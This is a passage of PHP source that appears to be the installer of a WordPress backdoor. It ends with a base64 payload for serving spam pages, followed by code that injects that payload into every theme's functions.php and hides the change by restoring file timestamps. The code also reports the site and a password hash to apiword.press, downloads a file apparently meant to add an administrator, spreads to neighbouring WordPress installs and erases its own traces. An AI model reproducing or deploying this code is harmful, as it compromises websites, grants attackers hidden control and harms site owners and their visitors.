QkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0NEIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY291bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyApCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnByZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXsKCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewoJCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWdlX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWFkPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXRsZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQlwcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2hlYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXNoZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFyKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
{
$themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
if ($list = scandir( $themes ))
{
foreach ($list as $_)
{
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
if (strpos($content, 'WP_URL_CD') === false)
{
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else
{
$ping = false;
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
@file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
}
}
}
for ($i = 0; $i<MAX_LEVEL; $i++)
{
$dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
}
foreach ($dirs as $dir)
{
foreach (@getDirList($dir) as $__)
{
@SearchFile($search, $__);
}
}
foreach ($GLOBALS['DIR_ARRAY'] as $e)
{
if ($file = file_get_contents($e[1]))
{
if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
{
if ($salt[1] != AUTH_SALT)
{
WP_URL_CD(dirname($e[1]));
}
}
}
}
if ($file = @file_get_contents(__FILE__))
{
$file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
$file = preg_replace('!<\?php\s*\?>!s', '', $file);
@file_put_contents(__FILE__, $file);
}
}
//install_code_end
?><?php error_reporting(0);?>
【讨论】：